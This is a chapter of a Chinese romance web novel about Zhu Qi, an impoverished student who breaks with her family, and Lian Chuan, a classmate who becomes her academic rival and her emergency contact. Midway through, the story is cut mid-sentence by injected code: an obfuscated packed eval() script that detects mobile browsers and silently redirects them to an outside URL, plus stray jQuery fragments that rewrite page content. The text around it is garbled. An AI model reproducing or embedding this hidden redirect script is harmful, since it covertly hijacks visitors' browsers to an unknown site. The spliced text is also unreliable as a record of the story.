祝祺第一次见到连川，是大一军训的尾声。


    那一日，她去校门对面的打印店影印助学贷款审核所需要的材料，一出校，就被一个女人用力抓住手臂。


    任何人见到这拉扯的二人，都不难猜出她们是亲母女。


    她们有着如出一辙的眼睛。眼形如莲花花瓣，眼皮上深浅数道褶，如水纹一般，更显得两眼大而温婉含情。


    此时，两双酷似的眼睛，一双恼怒含泪，带着不讲理的疯蛮。


    另一双，则镇静如风过千仞长岗，掀不起半分波澜。


    母亲的力道极大，一边捶打，一边用力曳着她的手臂，口中用方言詈骂着。


    混乱中，她胡乱地挨了几下，被拖拽得踉跄，脑中一片空白，却又异常冷静。


    她站定，举起能证明自己身份的校园卡，向校门口的保安求助。


    “我不认识这个人。”她用清晰的普通话说。


    趁保安架住女人的空隙，她往校内的方向回转身。


    ——抬头，便对上了连川的脸。


    十八岁的连川身形高瘦，肩宽腿长，穿着军训时人手一件的墨绿色迷彩服，劣质粗糙的布料放在他身上，也显得格外英挺。


    潦草而仓促的一眼后，祝祺对他的第一印象是，这个新生眉骨很高，是一副倨傲而固执的长相，鼻梁挺拔，五官立体得有些距离感。


    不知道男生站在这里围观了多久。此时，他定定地站在祝祺面前，落在她身上的眼神冷淡，没有探问的意思。


    祝祺这才意识到，她和母亲拉扯的地方，正好在学校的外卖柜前。


    她挡着男生拿外卖了。


    祝祺低下头，错开男生的视线，从他身侧快步离开。


    *


    军训后，A大中文系正式开学。


    新生入学仪式过后没多久，祝祺的家境就隐约传开。


    对此，祝祺十分坦然。


    贫困就像咳嗽，藏不住的。


    有太多露相的地方——谈吐眼界，衣着打扮，瘦弱矮小的身形，没有矫正过的、微微外龅的虎牙，对电影、音乐、流行文化的全然无知，尽力压抑却仍不时带出方言腔调的普通话，以及公示的助学名单。


    她本来也没打算藏。


    早在决定离开大山的那一刻，她就将自卑自怜、脆弱敏感、怨天尤人这些无益的情绪，收入一个永不开启的潘多拉魔盒之中。


    在她看来，比起纠结无法改变的出身，更紧迫的是提升英语成绩。


    通过四六级并不难，难的是大学英语。


    她研究过A大中文系的学生手册。无论是保研，还是奖学金，都看大学英语成绩。


    她靠刷卷子习得的英语，只够应试，开不了口，听力也差，更别提交流。


    大学英语课是外教授课，有大量presentation，还有口语考试。


    她必须得过英语这一关。


    于是，每日清晨六点，她小声起床下楼，站在操场一角，捧着一张A4纸，大声晨读。


    A4纸上，是她从NCE3上手抄的英语长文。三日读一课，一天就着录音疏通生词读音，记忆句法，一天将全文流利地诵读下来，再一天记忆背诵。


    清晨时分，大学校园尚未苏醒，操场空寂。十月之后，六点尚未天明，操场笼在熹微的淡紫色光彩之中，一切事物的轮廓都是模糊暧昧的。


    操场上，唯有早读的祝祺，和一个晨跑的影子。


    祝祺偶尔分神，望向晨跑的男生。


    她认出来，这是大一军训时，在校门口见过的那个男生。


    男生没有出现在中文系开学典礼上，显然是外系的，却跟着中文系一起上课，总坐在教室后排。


    教室后排是中文系男生们聚集的地方。这批男生，大多是读了几篇网文，就误以为自己热爱文学。入学之后，发现中文系考高分不易，挂科更难，从此躺平，上课签到后，就在后排开黑打游戏，说些言不及义的废话。


    有一次课间，这群男生八卦到了祝祺的头上来。


    对这群小康家庭出生的男生而言，真正的穷人是比大熊猫还稀奇的谈资。


    此时祝祺正坐在教室前排补笔记，听得一清二楚。


    蓦地，她听到一个清越平和的声音：


    “她没有你们的条件，却取得和你们一样的成绩，和你们在一个教室里上课。你们议论她的时候，不觉得丢脸吗？”


    不知怎么，她不需回头，便知道是谁。


    这些话不是刻意说给她听的，也并不寻求她的感激。


    她埋头忙自己的，假装没有听见。


    半年过去，她顺利地完成了两次大学英语课堂汇报。


    她的发音仍然不够标准，连她自己都自嘲是Chinglish，只是她课堂汇报时从容而又张扬的气度，甜润明快的声线，能让人轻易忽略掉她发音的瑕疵。


    英语尚且如此，专业课上，她的表现更为突出。


    她聪慧，用功，无比积极，不放过任何展现自己能力的机会。报告、评议、论文，单看页尾的脚注和篇末的参考文献，就能读出她的用心。课后，她逮着机会就和助教与教授交流，粉圆的脸蛋上生了一双盈盈带笑眼，令人生不出厌烦之心。


    她不怕有人说她削尖了脑袋往前冲的样子难看，谄媚，投机。


    她只怕自己不被看到，埋没进人群中，像埋进故土层层叠叠不见天日的山峦之中。


    某日下课，常年神龙见首不见尾的中文系系主任突然出现在了教室里，点名问谁是祝祺。祝祺讶异地起身，系主任笑：“就是你，才大一，会背《左传》？”


    同学们：“……”


    怀疑自己少听了几个字。是《左传》，而不是《左传》系年、《左传》节选又或是“《左传》”的名词解释？


    这到底是天赋异禀，还是没忘干净啊？！


    大一那年，她像一枚新笋，一身泥泞土气，卯着力气，节节破壤而出。


    曾经拿她当谈资的男生，开始用充满敬意的语气讨论她，说下学期选课一定要抱紧祝神大腿。


    和她一起做小组作业，躺平也有高分。


    “尤其是你啊，连川。”有男同学好心提醒，“你同时修两个专业的课，都忙不过来了，还不如找祝神帮忙带带。她人很好的，就算你什么都不干，她也不会找老师打报告。”


    连川淡声回应：“不需要。”


    第一年，两人从未说过一句话。


    偶尔连川晨跑时，经过祝祺所在的角落，衣角带起一阵清爽得恍若幻觉的凉风。


    这就是她与连川唯一的际会。


    *


    大二，连川转入中文系。


    不再分身乏术后，连川开始在现当代文学的课堂上有所表现。


    他熟悉文论，对诗文敏感，在解剖文本时，常有新解。所作札记文辞清新，思路颖异，篇篇都是高分。


    他还加入了南国诗社，在创作之余，会译介一些欧美的小众诗人作品，发表在学校的诗刊上。


    大二上学期期末，临近考试周，辅导员让连川帮忙统计学生离校信息。


    绝大多数学生都在线上提交表格。连川筛出未及时填写离校信息表的学生，在专业课课间，挨个询问。


    逾时未填表的学生之一，就是祝祺。


    期末考在即，她无暇看手机，屏蔽了班级群消息。


    连川走至教室前排，祝祺身侧：“是祝祺同学吗？”


    祝祺抬起熬夜温书到苍白的脸，点了点头。


    连川取出表单，公事公办：“为了保障学生假期安全，系里需要统计学生寒假去向。”


    祝祺答：“我不离校。”


    连川在表单上勾选不离校字样。


    假期期间不离校的学生，不必报备假期行程，只需再填写一项紧急联系人，方便系里联系。


    祝祺对着打着星号的必填项，久久犯难。


    “这一项不填可以吗？我没有紧急联系人。”


    “父母，亲戚，总之假期期间能和你保持联络的……”


    女生寂然地垂着脸，声息安静，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304346|165918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像是丛林之中负伤忍痛的动物，极力压抑自己的气息。


    连川沉默半晌，说：“那填我，行不行？”


    祝祺抬眼，诧异地向前望去。


    在此之前，她对连川的印象，由身形、轮廓、嗓音拼接而成。这是她第一次如此仔细地看向连川的脸。少年肤色如沉水寒玉，眼皮窄，眼稍微扬，眸色是剔透的淡灰，偏偏睫羽鸦黑浓长，像是枯笔焦墨勾画的几笔。


    是一副冷清疏离的长相，和他此刻呈现出来的全无必要的好心不符。


    连川自顾自在表单上签上自己的名字和手机号。


    在关系一栏，连川写：同学。


    祝祺弯眼一笑：“谢谢你，同学。”


    正书至“学”字最后一横，连川落笔的手一顿。


    “假期期间，如果系里找不到你，就会给我打电话。”连川拿出手机，“为了方便我找你，同学，我能加你的联系方式吗？”


    祝祺添加了连川的微信，填写备注。


    「脸很凶的紧急联系人：我通过了你的朋友验证请求，现在我们可以开始聊天了」


    聊天框中，不再有第二条文字泡。


    那一学期，祝祺凭借古代文学史史无前例的满分，取得全年级绩点断层第一。


    被甩在身后的第二名，是刚刚转专业进入中文系的连川。


    *


    大二下，保研竞争愈发激烈。


    这一学期的现代汉语课程，要求同学两两组队，任选单元主题，完成小论文，质量优者参与课堂展示，有额外加分。


    现汉老师在大屏上用摇号小程序随机组队。


    当屏幕上显示连川、祝祺为一组时，座下同学一片惨叫。


    年级第一和第二，本来可以分别带飞两个躺平的咸鱼，偏偏凑成了一组。


    周五，祝祺收到来自连川的第一条微信消息：


    「脸很凶的紧急联系人：同学你好，我是连川。周末有空讨论现代汉语选题吗？」


    「祝祺：可以~你定时间地点。」


    两人约在周六中午，学校食堂。


    祝祺想要研究字形简化。理由是在字形单元作论文的同学不多，如果老师打算在每一模块中择优汇报，她的论文另辟蹊径，容易出挑，获得额外加分。


    连川则建议调查方言词汇或特殊语用。


    他举出几篇检索到的小论文，说，方言研究有现成的框架，照着模版写，不花时间。


    祝祺抬眼：“你会说方言吗？”


    对面的男生显然是北方人，发音标准又不刻意咬字，嗓音微沙，像抱雪松枝在风中微颤的响声。


    连川摇头。


    祝祺笑笑，轻快地说：“我也不会。”


    勾唇时，一点虎牙尖尖露出，她全然不掩饰，一副明媚而坦诚的模样。


    连川刷新了对祝祺的认知：


    这是一个能够顶着这样的一张脸说谎的女生。


    他记得自己第一次见到祝祺的场景。


    九月末，西风浩荡，女生身穿宽大得遮掩身形的军训迷彩服，倔强地立在校门口，任身旁女人疯了似地尖叫、捶打、拉扯，她岿然不动。


    风过，勾出她纤瘦却板正的身形。


    他听见女生对母亲说话，虽是方言，却意外地好懂：


    “我已经来到大学，就不会再回去。我要做研究，成大事，出人头地。我不是你们可以锁在家里的人。饭钱，书钱，我自己挣，不要你们一分。”


    女生嗓音清润甜美，咬字却用力得生出几分凛然。


    最后，女生回头时，匆忙间，和他对视一眼。


    她肤色深，脸圆而小，眉尾往额角的方向高提，双眼明亮。


    让他想起幼时随连平山在南亚摄影时，丛林河岸边，流水交汇处，见过的一种渔猫。


    离群索居，缘水而生，眼神危险而警惕。薄暮时分，周身神秘的纹理，隐在幽暗之中，唯有一双黄瞳，如鬼火攒动，光彩迫人。


    这样一种机敏美丽的生物，无论处在何种绝境之下，都能逢生。